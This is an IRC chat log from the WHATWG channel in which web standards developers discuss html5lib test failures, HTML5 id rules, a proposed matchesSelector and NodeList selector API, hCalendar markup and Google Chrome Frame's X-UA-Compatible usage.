[09:47:00.0000] <gsnedders>
jgraham: How many test failures do you get?

[09:48:00.0000] <jgraham>
Me? None, I;m not running the tests right now

[09:48:01.0000] <gsnedders>
jgraham: When you run them…

[09:48:02.0000] <gsnedders>
jgraham: And with what tree-builders/walkers?

[09:49:00.0000] <jgraham>
gsnedders: I can't actually run all the tests on this computer because it has too new a simplejson

[09:49:01.0000] <gsnedders>
We need to fix that somehow.

[09:49:02.0000] <jgraham>
I could just run the parser tests if that would help

[09:50:00.0000] <TabAtkins>
Man, why do people keep letting Reschke derail technical conversations with arguments about process?

[09:51:00.0000] <gsnedders>
test_parser.py gives no output here :\

[09:52:00.0000] <jgraham>
gsnedders: I get 20 failures from test_parser.py

[09:52:01.0000] <jgraham>
But I don't have bs installed or I would get more

[09:53:00.0000] <Philip`>
TabAtkins: Maybe we need to discuss a process to stop people from talking about process

[09:53:01.0000] <TabAtkins>
Philip`, don't even dare suggest that.

[09:54:00.0000] <jgraham>
gsnedders: So that is 5 tests that fail. One I think might be a wrong test. One seems to be a change to <xmp> parsing. The rest (I think) are to do with whitespace in the AAA

[09:54:01.0000] <gsnedders>
jgraham: I don't have BS either

[09:55:00.0000] <gsnedders>
http://pastebin.ca/1575346

[09:57:00.0000] <gsnedders>
jgraham: I get 20 with simpletree cElementTree ElementTree lxml DOM

[09:57:01.0000] <jgraham>
gsnedders: Yeah I'm not sure what the deal is there. I *think* it's generic setuptools suckiness

[09:57:02.0000] <jgraham>
I tend to just delete the systemwide copy

[09:58:00.0000] <jgraham>
If there is a proper solution, I would like to know what it is...

[09:58:01.0000] <jgraham>
gsnedders: OK, same as me. And I guess that is 4 actual test fails

[09:58:02.0000] <gsnedders>
jgraham: What do you get with treewalkers?

[09:59:00.0000] <jgraham>
The test <body><frame></frame></frame><frameset><frame><frameset><frame></frameset><noframes></frameset><noframes> I remember thinking had a bug

[09:59:01.0000] <jgraham>
Do you have a moment to check?

[09:59:02.0000] <gsnedders>
Not really

[10:00:00.0000] <gsnedders>
Ah, it's the tokenizer tests where I get tons of failures

[10:00:01.0000] <gsnedders>
Oh well, back to things I actually need to do

[10:01:00.0000] <jgraham>
gsnedders: I get a bunch of fails (50) but 20 of those are the same fails as the treebuilder tests

[10:01:01.0000] <jgraham>
and the rest look to be DOM using magic encoding

[10:01:02.0000] <gsnedders>
jgraham: For which tree walker? I get 24

[10:01:03.0000] <gsnedders>
*which?

[10:02:00.0000] <jgraham>
Er, the same ones that I had treebuilders for

[10:02:01.0000] <jgraham>
+ genshi

[10:02:02.0000] <gsnedders>
For runtests, I get FAILED (failures=153, errors=1)

[10:02:03.0000] <gsnedders>
+PullDOM?

[10:03:00.0000] <jgraham>
YEs

[10:03:01.0000] <jgraham>
(actually there are a bunch of fails with Genshi too)

[10:04:00.0000] <jgraham>
gsnedders: Using an old simplejson?

[10:04:01.0000] <gsnedders>
jgraham: Yeah

[10:04:02.0000] <jgraham>
gsnedders: Also, what else fails? I think I have some fixes at home...

[10:06:00.0000] <gsnedders>
We could go for U[0-9A-F]{6} within JSON for surrogates char to get it working…

[10:07:00.0000] <jgraham>
gsnedders: Talk to hsivonen. I don't want to break his test harness

[10:07:01.0000] <gsnedders>
jgraham: That was my conclusion last time I thought about it.

[10:07:02.0000] <jgraham>
So I will do basically whatever he is happy with since almost anything is easier to do in Python than in Java

[10:08:00.0000] <gsnedders>
http://pastebin.ca/1575365

[10:08:01.0000] <gsnedders>
/me grumbles something about the PHP impl passing all the tests

[10:09:00.0000] <gsnedders>
Surely if you can pass them in PHP, it should be easier in Python :P

[10:09:01.0000] <jgraham>
gsnedders: Don't they disable the mixed namespace stuff or something?

[10:09:02.0000] <jgraham>
Also, we have more tests

[10:09:03.0000] <gsnedders>
(Well, we fail some invalid UTF-8 tests for the inputstream, but that's all)

[10:09:04.0000] <jgraham>
(probably)

[10:10:00.0000] <gsnedders>
jgraham: I think that's all enabled now.

[10:11:00.0000] <gsnedders>
Yeah, mixed namespace stuff works

[10:12:00.0000] <jgraham>
gsnedders: It seems like there aren't actually many issues. They just need to be fixed

[10:13:00.0000] <jgraham>
Then the option to not namespace HTML elements needs to work

[10:13:01.0000] <jgraham>
Those are the showstoppers

[10:13:02.0000] <gsnedders>
We need something good to parse into in PHP.

[10:26:00.0000] <Philip`>
Oh, hmm, I was using the latest SVN revision of html5lib

[10:27:00.0000] <Philip`>
Wonder if that makes much difference...

[10:28:00.0000] <jgraham>
Philip`: I think it does. I recall there was some reason to change the DOM stuff but I entirely forget what it was

[10:29:00.0000] <jgraham>
/me wonders if it was minidom or pyxdom

[10:29:01.0000] <jgraham>
or something else I guess

[10:33:00.0000] <Philip`>
Grabbing the hg version would be easier if my wireless connection didn't drop after about three seconds of sustained usage, and/or if hg clone automatically resumed instead of freezing when the network connection drops

[10:40:00.0000] <miketaylr>
in html5, can and id begin with an underscore? i.e., "_foo"?

[10:42:00.0000] <miketaylr>
all i see in the spec is "The value must be unique amongst all the IDs in the element's home subtree and must contain at least one character. The value must not contain any space characters."  

[10:43:00.0000] <miketaylr>
but i might be missing something

[10:43:01.0000] <Lachy>
miketaylr, I don't believe there are any special restrictions on what the ID attribute can contain

[10:44:00.0000] <miketaylr>
Lachy: ok, thanks.

[10:44:01.0000] <miketaylr>
i know that was verboten in html4, just double checking.

[10:44:02.0000] <miketaylr>
since "_foo" still validates as html4, but the spec clearly says it must begin with a letter.

[10:45:00.0000] <sicking>
annevk2: you coming to TPAC?

[10:46:00.0000] <Lachy>
sicking, yes, both annevk2 and I are

[10:46:01.0000] <sicking>
Lachy: Anne wasn't listed as attending the webapps last i looked. I think

[10:46:02.0000] <Lachy>
we only got given approval to go earlier today

[10:47:00.0000] <Lachy>
do we have to sign up somewhere to say that we're going to the webapps meeting?

[10:47:01.0000] <sicking>
you have to register for TPAC. As you're doing that the page will ask you what you're attending each day

[10:48:00.0000] <annevk2>
sicking, registered myself today

[10:48:01.0000] <Lachy>
ok

[10:49:00.0000] <sicking>
Lachy: also, just today? That's really late. You should get efficient, like swedes: http://www.osoyou.com/items/14780.publisha

[10:49:01.0000] <annevk2>
sicking, management was a bit slow

[10:50:00.0000] <sicking>
annevk2: ah, you're listed now

[10:57:00.0000] <Philip`>
miketaylr: In HTML4 that's just a limitation of the DTD validation technology

[10:57:01.0000] <miketaylr>
Philip`: ah. that makes sense now. thanks.

[10:58:00.0000] <Philip`>
validator.nu does a better job for HTML5, since it can check the content of attribute values

[10:58:01.0000] <Philip`>
(but HTML5 removes the unnecessary and frequently-ignored restrictions on id values)

[11:00:00.0000] <sicking>
Lachy: btw, wasn't there talk about a level 2 selectors spec that specified a matchesSelector function?

[11:01:00.0000] <sicking>
Lachy: i think we're going to implement that for next version of firefox, would be nice to do it without prefixing it with 'moz'

[11:02:00.0000] <tantek>
sicking if you mean the W3C Selectors spec, there have been many :matches like proposals, but none of them have made it into a working draft AFAIK

[11:02:01.0000] <tantek>
due to implementation performance problem (expectations)

[11:02:02.0000] <sicking>
tantek: no, i mean a spec that specifies an API where you can test is a node matches a selector

[11:02:03.0000] <sicking>
tantek: a scripting API that is

[11:02:04.0000] <tantek>
oh SelectorsOM

[11:02:05.0000] <sicking>
right

[11:03:00.0000] <Lachy>
sicking, yeah, it's being planned. I intend to begin working on that spec soon

[11:03:01.0000] <tantek>
Lachy, which spec? Is it a DOM spec or a CSS spec?

[11:03:02.0000] <sicking>
(not sure if "OM" is correct, since we don't expose the internals of a parsed selector, but)

[11:04:00.0000] <sicking>
Lachy: i think we might have a implementation and a test suite available already :)

[11:04:01.0000] <Philip`>
Hmm, what happens if (for example) we define an API that can play music in the style of various composers, so you call .bach() and .handel() and .mozart() etc, and then Mozilla wants a vendor-specific extension to play music like somebody called Art?

[11:04:02.0000] <Lachy>
tantek, Selectors API 2

[11:04:03.0000] <sicking>
Lachy: https://bugzilla.mozilla.org/show_bug.cgi?id=518003

[11:04:04.0000] <tantek>
Lachy, wondering which working group is doing it (CSS WG, HTML WG, DOM WG?)

[11:05:00.0000] <Lachy>
webapps

[11:05:01.0000] <sicking>
Philip`: haha

[11:05:02.0000] <sicking>
Philip`: funny thing is that when i read 'mozart' i was reading it as moz-art :)

[11:05:03.0000] <sicking>
tantek: DOM WG is dead, long live WebApps WG

[11:06:00.0000] <sicking>
Philip`: but to answer your question, we'd call it mozArt()

[11:06:01.0000] <tantek>
thanks for the update sicking. somehow I knew that and had somehow forgotten.

[11:07:00.0000] <Lachy>
sicking, this is the bug I'm using to track the feature for the spec http://www.w3.org/Bugs/Public/show_bug.cgi?id=5865

[11:08:00.0000] <Lachy>
sicking, is the Moz implementation essentially compatible with the JQuery impl.?

[11:08:01.0000] <Lachy>
http://docs.jquery.com/Traversing/is#expr

[11:09:00.0000] <sicking>
Lachy: will look

[11:09:01.0000] <sicking>
Lachy: what does jquery do when .is is called on a textnode?

[11:10:00.0000] <Lachy>
I don't know. Ask JohnResig

[11:10:01.0000] <Lachy>
sicking, which interfaces is the API implemented on?

[11:10:02.0000] <Lachy>
Is it just the Element interface?

[11:10:03.0000] <sicking>
"returns true, if at least one element of the selection fits the given expression". So i guess it can be called on some set in jquery

[11:10:04.0000] <Lachy>
I hope it's not Node.matchesSelector

[11:11:00.0000] <sicking>
the current patch just exposes it on elements

[11:11:01.0000] <Lachy>
good

[11:11:02.0000] <Lachy>
that makes things sensible

[11:11:03.0000] <Lachy>
how does it work with pseudo-elemenets?

[11:11:04.0000] <sicking>
*possibly* you could expose it on textnodes/comments/etc and have it always return false

[11:12:00.0000] <sicking>
Lachy: works the same way querySelectorAll does. However that is

[11:12:01.0000] <Lachy>
that would be silly, since querySelector() is only on Document, Element and DocumentFragment

[11:12:02.0000] <Lachy>
ok, that's good

[11:12:03.0000] <Lachy>
seems fairly simple to define then

[11:12:04.0000] <sicking>
there was also talk about exposing it on NodeList

[11:12:05.0000] <Lachy>
yeah, that's a separate issue

[11:13:00.0000] <sicking>
and have it return a filtered nodelist

[11:13:01.0000] <sicking>
dunno what it should be called there though

[11:13:02.0000] <Lachy>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=5864

[11:13:03.0000] <Lachy>
I was just going to define NodeList.querySelectorAll()

[11:13:04.0000] <sicking>
Lachy: that looks different

[11:13:05.0000] <Lachy>
Not sure if we'd need NodeList.querySelector() too

[11:14:00.0000] <Lachy>
how?

[11:14:01.0000] <sicking>
Lachy: i was talking abotu NodeList.matchesSelector

[11:14:02.0000] <sicking>
(probably needs some other name)

[11:14:03.0000] <sicking>
which returns a nde NodeList which is a subset of the first NodeList

[11:14:04.0000] <Lachy>
how can a NodeList match a selector?

[11:14:05.0000] <sicking>
containing just the nodes that matches the selector

[11:15:00.0000] <Lachy>
yeah, that's what NodeList.querySelectorAll() would do

[11:15:01.0000] <sicking>
match each node individually, return the ones that matches

[11:15:02.0000] <sicking>
really?

[11:15:03.0000] <Lachy>
yes. What else would it do?

[11:15:04.0000] <annevk2>
sicking, for CORS btw I had a thought of making redirects work for simple requests but not allowing the for stuff that involves the cache (i.e. complex requests)

[11:15:05.0000] <sicking>
i would have expected NodeList.querySelectorAll to call .querySelectorAll on each node in the nodelist and return a union of the resulting nodelists

[11:15:06.0000] <Lachy>
wow, that seems crazy

[11:16:00.0000] <sicking>
annevk2: yeah, i think we might want to go that way for v1

[11:16:01.0000] <annevk2>
my main use case has always been simple requests

[11:16:02.0000] <sicking>
Lachy: that's what john resig suggested last i talked to him a few days ago

[11:16:03.0000] <annevk2>
because i'd like this to work nicely for e.g. eventsource; cross-origin images that do not have to taint <canvas>, etc.

[11:16:04.0000] <Lachy>
woah. That would be doing like what Array.forEach() does

[11:17:00.0000] <annevk2>
for those cases you need redirects to work just fine, especially for <img>, because cross-origin redirects already work fine :)

[11:17:01.0000] <sicking>
Lachy: in any event i would not expect querySelectorAll to work as a list "generator" in some cases and a filter in others, that seems very surprising

[11:18:00.0000] <Lachy>
it makes sense to do that, so that it's consistent with Element.querySelectorAll().

[11:18:01.0000] <Lachy>
maybe it could be called filterSelector or something

[11:19:00.0000] <sicking>
right, with that name it makes much more sense

[11:19:01.0000] <sicking>
annevk2: not fully following you

[11:19:02.0000] <sicking>
annevk2: oh

[11:19:03.0000] <sicking>
annevk2: yeah, i agree, simple requests are the most important

[11:19:04.0000] <Lachy>
what's the use case for the other alternative, of invoking querySelector() on all nodes in the list and returning one collection?

[11:19:05.0000] <Lachy>
JohnResig, yt?

[11:20:00.0000] <sicking>
Lachy: don't know. But based on the name that's what i'd expect

[11:20:01.0000] <Lachy>
it's absolutely not what I'd expect

[11:21:00.0000] <sicking>
you'd expect it to be building lists when called on elements, but filtering them when called on NodeLists?

[11:21:01.0000] <TabAtkins>
Lachy: All of the direct traversal functions (children(), parent(), etc.) will operate on each individual element if called on a list of elements.

[11:21:02.0000] <sicking>
what about if the NodeList just contains one element?

[11:21:03.0000] <TabAtkins>
So, frex, $("p").parent() will give you a list of the parents of all <p>s.

[11:22:00.0000] <Lachy>
sicking, no difference

[11:22:01.0000] <TabAtkins>
There is not currently a direct way to do this with an arbitrary selector, though.

[11:22:02.0000] <Lachy>
TabAtkins, what traversal functions apply to NodeLists?

[11:22:03.0000] <sicking>
Lachy: so calling it on an element vs. calling it on a NodeList with that element would do two totally opposite things?

[11:23:00.0000] <TabAtkins>
Lachy: None of them.  They only apply to jQuery objects.  ^_^

[11:23:01.0000] <TabAtkins>
Which can be both a single element or a list of elements.

[11:24:00.0000] <annevk2>
sicking, got to go now, will follow up on this tomorrow

[11:24:01.0000] <sicking>
annevk2: sounds good

[11:24:02.0000] <Philip`>
/me wonders if some mail system somewhere broke

[11:24:03.0000] <annevk2>
sicking, today I spent most of my time in my inbox, hopefully tomorrow I can actually get some work done :)

[11:24:04.0000] <Philip`>
I posted to public-html ~30 minutes ago and it's still not there :-(

[11:24:05.0000] <Lachy>
sicking, no. On Elements, it says, return all the matching elements contained within it, and on NodeLists, it says return all the matching elements contained within that

[11:25:00.0000] <TabAtkins>
Lachy: But the notion of "elements contained within it" is different for the two.

[11:25:01.0000] <Lachy>
so?

[11:26:00.0000] <Lachy>
but anyway, it doesn't matter. I can accept calling it something with a clearer name

[11:26:01.0000] <TabAtkins>
So it feels weird (if you're trying to justify the behavior where it filters the NodeList).

[11:26:02.0000] <TabAtkins>
kk

[11:27:00.0000] <sicking>
Lachy: agreed. The element object doesn't represent a list of nodes contained within it

[11:27:01.0000] <sicking>
(agree with TabAtkins that is)

[11:28:00.0000] <TabAtkins>
From my own experience in jquery, though, the most natural behavior for NodeList.querySelectorAll is to return a single collection that is the union of calling querySelectorAll on each Element in the NodeList.

[11:28:01.0000] <sicking>
well.. i *think* there might be a usecase for querySelectorAll on NodeList, which does the foreach thing. But I don't know what the use cases are so i'd ahve to refer to JohnResig

[11:28:02.0000] <sicking>
*defer to

[11:29:00.0000] <TabAtkins>
Actually...  

[11:29:01.0000] <TabAtkins>
/me goes off to check the behavior of giving a context to $ that is multiple elements.

[11:29:02.0000] <TabAtkins>
jQuery *may* already have a behavior for this.

[11:32:00.0000] <TabAtkins>
!_!  FF is suddenly interpreting my jquery file as something crazy in chinese.  wtf?

[11:33:00.0000] <Dashiva>
Go go charset detection

[11:33:01.0000] <TabAtkins>
It's acting like it suddenly swapped over to UTF-16 parsing.

[11:33:02.0000] <TabAtkins>
Not certain about that, of course.

[11:35:00.0000] <Philip`>
Maybe it's displaying a gzipped version?

[11:36:00.0000] <TabAtkins>
Ah, no.  For some reason my *text editor* was in utf-16LE mode, and so Windows was correctly sending the charset over to ff.

[11:36:01.0000] <TabAtkins>
And then ff was interpreting the jquery file in the same charset, since I didn't have one specified.

[11:37:00.0000] <TabAtkins>
k, fixed.

[11:37:01.0000] <TabAtkins>
Anyway!  Lachy, jquery *does* have such a behavior already defined.

[11:39:00.0000] <Lachy>
ok

[11:41:00.0000] <TabAtkins>
$("i", $("div")) returns a jquery object containing all the <i>s contained in all the <div>s.

[11:41:01.0000] <Lachy>
how is that different from $("div i")

[11:42:00.0000] <TabAtkins>
Oh, duh, I am also dumb.  The most direct analog is just find().  $("div").find("i") would do it.

[11:42:01.0000] <TabAtkins>
Lachy: The difference is that it's in two steps, producing a list and then running a selector over that list.

[11:42:02.0000] <Lachy>
but how is the result different?

[11:42:03.0000] <TabAtkins>
It's not.

[11:42:04.0000] <Lachy>
so what's the point?

[11:43:00.0000] <TabAtkins>
?_?  So you can run the first query, possibly alter the list, then run the second query.

[11:43:01.0000] <Lachy>
mine would be more efficient

[11:43:02.0000] <Lachy>
ok, so you were just using it to illustrate the concept, not a practical example.

[11:43:03.0000] <TabAtkins>
$("div").find("i") is the same as $("div i").  But $elems.find("i") may not have an equivalent selector.

[11:43:04.0000] <Philip`>
TabAtkins: Like $("div").filter(some arbitrary js code).find("i") ?

[11:43:05.0000] <TabAtkins>
Philip`, yeah.

[11:44:00.0000] <JonathanNeal>
I have a question about proper element usage.  I've translated the folllowing image into the following HTML @ http://madison.thewikies.com/html5test/question.html (both on that page)

[11:44:01.0000] <JonathanNeal>
There are three elements in each row on that page, time, title, and location - I'm using time for time, h1 for title, and p for location, but would there be a better element to use than p?

[11:45:00.0000] <TabAtkins>
JonathanNeal, no, I don't think so.

[11:46:00.0000] <TabAtkins>
It doesn't seem to fit into any of the particular semantics that html5 cares about, so it's just generic content as far as the language is concerned.

[11:46:01.0000] <JonathanNeal>
Just making sure this wasn't a time to use the address tag, or if it didn't matter either way.

[11:46:02.0000] <gsnedders>
JonathanNeal: No, address is for contact details.

[11:47:00.0000] <hober>
JonathanNeal: hCalendar would be a very good fit

[11:47:01.0000] <JonathanNeal>
So my <time> element usage generally considered acceptable, or should it be a generic div or p?

[11:48:00.0000] <TabAtkins>
<time> is great.  Why wouldn't it be?

[11:49:00.0000] <hober>
I'm not crazy about having <time> and <h1> as siblings, personally

[11:50:00.0000] <JonathanNeal>
hober, when using hCalendar markup in html5, do certain things change, does class="dtstart" title="2007-10-05" become dtstart="2007-10-05"

[11:50:01.0000] <gsnedders>
/me would use a table for that

[11:50:02.0000] <hober>
(but that's just personal preference)

[11:50:03.0000] <gsnedders>
(and probably use th for the title)

[11:50:04.0000] <TabAtkins>
hober: Luckily it doesn't mess with sectioning, since the <h1> is heading the parent <article>.

[11:50:05.0000] <hober>
JonathanNeal: <time class="dtstart" ...>...</time>

[11:53:00.0000] <JonathanNeal>
If I don't need to specify a start and end time, is just dtstart okay?

[11:55:00.0000] <hsivonen>
http://norman.walsh.name/2009/09/22/RDFaForDocBook

[11:56:00.0000] <hober>
JonathanNeal: http://microformats.org/wiki/hcalendar#Property_List says dtstart is required but dtend is optional. You might want to look into what it means to leave dtend off though.

[11:57:00.0000] <JonathanNeal>
I updated the html syntax @ http://madison.thewikies.com/html5test/question.html : temporary css withstanding.

[11:57:01.0000] <hober>
hsivonen: you could s/DocBook/HTML/ and most of that would hold up

[11:59:00.0000] <hober>
JonathanNeal: where you have title="" I think you mean datetime=""

[11:59:01.0000] <TabAtkins>
JonathanNeal: Any reason you've wrapped a span around the title, rather than just putting the class on <h1>?

[11:59:02.0000] <hober>
also, what's with the <a href="javascript:;">?

[11:59:03.0000] <hober>
why use span for summary? you could just put class="summary" on the h1

[12:00:00.0000] <JonathanNeal>
Yea, you're totally right, that was pretty crappy of me..

[12:01:00.0000] <JonathanNeal>
hober, the javascript:; is just to create totally empty links.

[12:01:01.0000] <hober>
<p class="location adr"><span class="locality">Orlando</span>, <abbr title="Florida" class="region">FL</abbr></p>

[12:02:00.0000] <hober>
why do you want totally empty links?

[12:02:01.0000] <JonathanNeal>
Well, before I implement it, I may just put an alert or something in there to test them, whatever.

[12:03:00.0000] <TabAtkins>
You can't just omit the href?

[12:03:01.0000] <TabAtkins>
Or, the standard way to handle that is href="#"

[12:05:00.0000] <JonathanNeal>
If it's a deal, I'll change it to # while I show you guys :D

[12:05:01.0000] <Philip`>
HTML5 allows <a> without href

[12:05:02.0000] <JonathanNeal>
I wonder if I'm using the <time> element (typically inline) incorrectly as a sibling there with the h1 as someone pointed out

[12:05:03.0000] <Philip`>
as a placeholder for elements that are sort of links without the link

[12:06:00.0000] <Philip`>
if I remember correctly

[12:06:01.0000] <TabAtkins>
Nah, it's just as conforming as <i> or <span> there, JonathanNeal 

[12:06:02.0000] <JonathanNeal>
All right, I've updated the example.

[12:07:00.0000] <TabAtkins>
(content model of <article> is "flow content", which includes <time>)

[12:07:01.0000] <hober>
JonathanNeal: block and inline are CSS concepts, and no longer directly correspond to HTML's content models

[12:08:00.0000] <JonathanNeal>
Oh, groovy.

[12:11:00.0000] <TabAtkins>
:headdesk:  The difference between if and elseif is important.

[12:12:00.0000] <Philip`>
What language has elseif?

[12:12:01.0000] <Philip`>
/me can only remember elif (Python), elsif (Perl) and else if (C/JS/Java)

[12:12:02.0000] <TabAtkins>
php

[12:12:03.0000] <Philip`>
Oh, okay

[12:12:04.0000] <TabAtkins>
"else if" is of course also allowed, and is equivalent.

[12:13:00.0000] <Philip`>
/me aims to know as little as possible about PHP

[12:13:01.0000] <Philip`>
That seems pointlessly redundant

[12:13:02.0000] <TabAtkins>
That's php for you.

[12:15:00.0000] <AryehGregor>
elif and elsif in Python/Perl actually serve logical purposes.  PHP probably copied them in a cargo-cult fashion.

[12:15:01.0000] <AryehGregor>
Since PHP uses C-style ifs, so "else if" makes sense without special definitions.

[12:15:02.0000] <TabAtkins>
That's almost certainly what happened.

[12:15:03.0000] <TabAtkins>
We loves us some cargo-cultism.

[12:17:00.0000] <TabAtkins>
/me is happy that he finally has a Hindi translation for his company's app again.

[12:18:00.0000] <TabAtkins>
It mysteriously corrupted itself some time ago into jibberish, and nobody had backups going back far enough to fix them.

[12:21:00.0000] <AryehGregor>
Do you have many Hindi users?

[12:22:00.0000] <Philip`>
sicking: Your option 5 would cause unusual behaviour in text/html content like <svg xmlns:xlink="foo"><foreignObject><p property="xlink:bar"></foreignObject></svg>

[12:22:01.0000] <Philip`>
(because xmlns:xlink (and only xmlns:xlink) on foreign objects goes in the XMLNS namespace)

[12:22:02.0000] <TabAtkins>
Dunno the exact number, but we have some at least.  It's just a "member language", though, so this only affects customer-facing stuff like receipts and reports, not the app interface itself.

[12:23:00.0000] <Philip`>
/me refrains from saying that on the list, because it's an irrelevant distraction

[12:23:01.0000] <TabAtkins>
We cover very nearly every language used by our customers.

[12:24:00.0000] <sicking>
Philip`: ah, interesting

[12:25:00.0000] <AryehGregor>
"Copy-and-paste from sites that didn't understand the spec, for example copying from w3schools.com" Zing.

[12:26:00.0000] <Philip`>
TabAtkins: That sounds like a challenge for someone to learn many obscure languages and then become a customer of you

[12:26:01.0000] <TabAtkins>
Thus the "very nearly" weasel.

[12:27:00.0000] <Philip`>
If I learn a hundred obscure languages, then you'll only support maybe half the languages used by your customers, which is not "very nearly every language"

[12:28:00.0000] <Philip`>
no matter how weaselly you try to be

[12:28:01.0000] <AryehGregor>
Hurrah, Chromium on Linux has progressed from "don't display Flash at all" to "display Flash but it instantly crashes every time".

[12:28:02.0000] <jgraham>
Philip`: Only if you "used" all 100 languages

[12:28:03.0000] <TabAtkins>
Only if you aggregate purely by language.  I prefer to aggregate by language-instance, in which case you'd represent less than .1%.

[12:29:00.0000] <jgraham>
AryehGregor: That sems like the right pnalty for using flash

[12:29:01.0000] <jgraham>
*penalty

[12:29:02.0000] <AryehGregor>
jgraham, I wish I never had reason to.  :(

[12:29:03.0000] <AryehGregor>
Why doesn't YouTube roll out HTML5 video already?  :/

[12:29:04.0000] <Philip`>
Because they hate standards

[12:30:00.0000] <AryehGregor>
What, Google hates HTML5 and they're paying the editor?

[12:30:01.0000] <Philip`>
Just see what they're doing to RDFa for evidence!

[12:30:02.0000] <Philip`>
AryehGregor: That gives them a great cover story

[12:30:03.0000] <AryehGregor>
Well, the fact that Google employs Hixie certainly supports the hypothesis that they hate RDFa specifically.  :P

[12:30:04.0000] <TabAtkins>
Hahaha

[12:31:00.0000] <Philip`>
Pay one person to give the impression of supporting HTML5, and then you've got an excuse no matter what your zillion other employees do

[12:31:01.0000] <AryehGregor>
Well, they also paid people to implement <video> in Chrome.

[12:31:02.0000] <AryehGregor>
I think that's even released in the stable channel now.

[12:31:03.0000] <Philip`>
Oh, okay

[12:32:00.0000] <Philip`>
They must be trying to hide something *really* important if they're going to such lengths to give a false impression

[12:37:00.0000] <AryehGregor>
This would be much awesomer if some sample results were provided: http://wondermark.com/554/

[12:52:00.0000] <TabAtkins>
AryehGregor: I've got lunch now.  Gimme 10 minutes.

[12:56:00.0000] <TabAtkins>
Actually, gonna go actually grab lunch first.  Then programming.

[13:07:00.0000] <annevk2>
well look at that, I wasn't the only one to look into CORS redirects today

[13:07:01.0000] <annevk2>
/me is back for a bit

[13:24:00.0000] <annodomini>
So, is anyone working on speccing X-UA-Compatible (or the non prefixed version) now that we have two implementations of it?

[13:24:01.0000] <annodomini>
http://blog.chromium.org/2009/09/introducing-google-chrome-frame.html

[13:26:00.0000] <AryehGregor>
TabAtkins, http://dpaste.com/96903/

[13:26:01.0000] <AryehGregor>
That totally wasn't worth the effort.

[13:27:00.0000] <TabAtkins>
However, your work enables me to use it more easily.  ^_^

[13:27:01.0000] <AryehGregor>
Wow, so Google makes an IE plugin that basically just replaces the entire guts of the browser with Chrome?  Cool stuff.

[13:28:00.0000] <remysharp>
But if the user had a choice to actually install the plugin, surely they'd be savvy enough to install chrome (or any other browser) in the first instance? Doesn't it?

[13:29:00.0000] <AryehGregor>
No, because they won't notice a real difference between the plugin and the normal browser.

[13:29:01.0000] <AryehGregor>
They use the same icon and same interface and so on.

[13:29:02.0000] <Philip`>
remysharp: Then the user would have to actively choose which browser to use, based on whether they want a decent browser or they want compatibility with IE-only sites

[13:29:03.0000] <AryehGregor>
That too.

[13:29:04.0000] <Philip`>
whereas this way they get the rubbish browser for almost all sites, and Google can make its own sites render faster for users with the plugin

[13:29:05.0000] <AryehGregor>
TabAtkins, you get to find the bugs for yourself where I forgot a trailing comma and Python helpfully combined the strings.

[13:30:00.0000] <AryehGregor>
(I used to think PHP was stupid for requiring a . to concatenate string literals, now I'm not so sure)

[13:30:01.0000] <TabAtkins>
Using + for concat is dumb. >_<

[13:30:02.0000] <remysharp>
right, but the problem is that "older " browser are in high circulation because either the user or the sysadmins can't move the users on to new browsers - so equally they won't be able to install a plugin that tweaks their browser 

[13:31:00.0000] <miketaylr>
right, but the new plugin won't break their vbscript-laden internal apps.

[13:31:01.0000] <AryehGregor>
remysharp, 1) Is installing a plugin really as hard as installing a new browser?  Does IE require admin privileges to install a plug-in, for instance?  2) A lot of places haven't switched because they need IE for internal sites.  This rendering engine is opt-in, so not an issue.

[13:32:00.0000] <Philip`>
Using chrome=1 to trigger behaviour in IE seems like a violation of how I expect x-ua-compatible to work - it'd make more sense to me if it said ie=chrome

[13:32:01.0000] <remysharp>
AryehGregor: The video of Hilton being asked why they couldn't use Firefox was responding with the cost of support

[13:32:02.0000] <remysharp>
and the related support when they do image installs of machines

[13:32:03.0000] <remysharp>
(or something to that nature)

[13:33:00.0000] <AryehGregor>
Not an issue if the users can install plugins when the site asks them without sysadmin approval, now, is it?  :)

[13:33:01.0000] <remysharp>
sure

[13:33:02.0000] <remysharp>
but they're not the problem

[13:33:03.0000] <TabAtkins>
Philip`, I agree with you.  This isn't recognizing a version of Chrome, it's recognizing a version of IE.

[13:33:04.0000] <remysharp>
Also - I'm not sure how good this looks: http://www.grabup.com/uploads/1c33a86d16fc998ee6ae5b531f32e211.png?direct

[13:35:00.0000] <AryehGregor>
remysharp, they are if you get to the point where you're willing to say "If you use IE, you have to install this plugin to continue."

[13:35:01.0000] <paul_irish>
remysharp: i should point out that was from ie4osx which, who knows what sort of userAgent it reports..

[13:35:02.0000] <paul_irish>
but i think the install flow could be a lot better.

[13:35:03.0000] <remysharp>
paul_irish: hi! :-)

[13:36:00.0000] <remysharp>
paul_irish: right, and since when was reading the userAgent the right way to do detection?

[13:36:01.0000] <remysharp>
well - since a while back, but not today!

[13:36:02.0000] <AryehGregor>
"True, but IE handles legacy compatibility by versioning."  Interesting, I didn't know that would be the official policy forever going forward.  That's what that sounds like.

[13:36:03.0000] <remysharp>
and equally, what about the whole X-UA... IE=edge - can we comma separate them, to read: "IE=edge,chrome=1"?

[13:36:04.0000] <AryehGregor>
(from travil⊙mc on www-style, FWIW)

[13:36:05.0000] <remysharp>
or is one going to overwrite the other?

[13:37:00.0000] <remysharp>
sorry, I've hijacked the #whatwg discussion for something that's pretty off topic. I shouldn't rant off too much :-)

[13:42:00.0000] <Lachy>
sicking, the NodeList.querySelector() proposal, where it returns the collective result from all elements, seems a little more complicated to define than I first thought.

[13:43:00.0000] <Lachy>
it would have to return the union of all results, but then it gets complicated if the same node is matched twice

[13:44:00.0000] <Lachy>
so it would have to somehow say that each node is included in the list only once

[13:44:01.0000] <Lachy>
but it makes it hard to guarantee the order in which nodes are returned

[13:45:00.0000] <miketaylr>
Lachy: but isn't union defined as the set of all unique elements in a collection?

[13:45:01.0000] <Philip`>
remysharp: It seems much more on-topic than many other things here :-)

[13:45:02.0000] <miketaylr>
(at least in linguistics, i believe it is)

[13:45:03.0000] <Lachy>
the problem is more the order of the elements indexed in the NodeList

[13:45:04.0000] <miketaylr>
ah

[13:45:05.0000] <AryehGregor>
In set theory it is.  Not in, for instance, SQL.

[13:46:00.0000] <AryehGregor>
(UNION ALL vs. UNION DISTINCT)

[13:46:01.0000] <Philip`>
http://philip.html5.org/data/ua-compatible-contents.txt is fun to see how many people blindly copy-and-paste

[13:46:02.0000] <Lachy>
right. I think we'd want the equivalent of UNION DISTINCT

[13:46:03.0000] <remysharp>
Philip`: I love the last one

[13:47:00.0000] <miketaylr>
AryehGregor: yeah, thanks for the distinction.

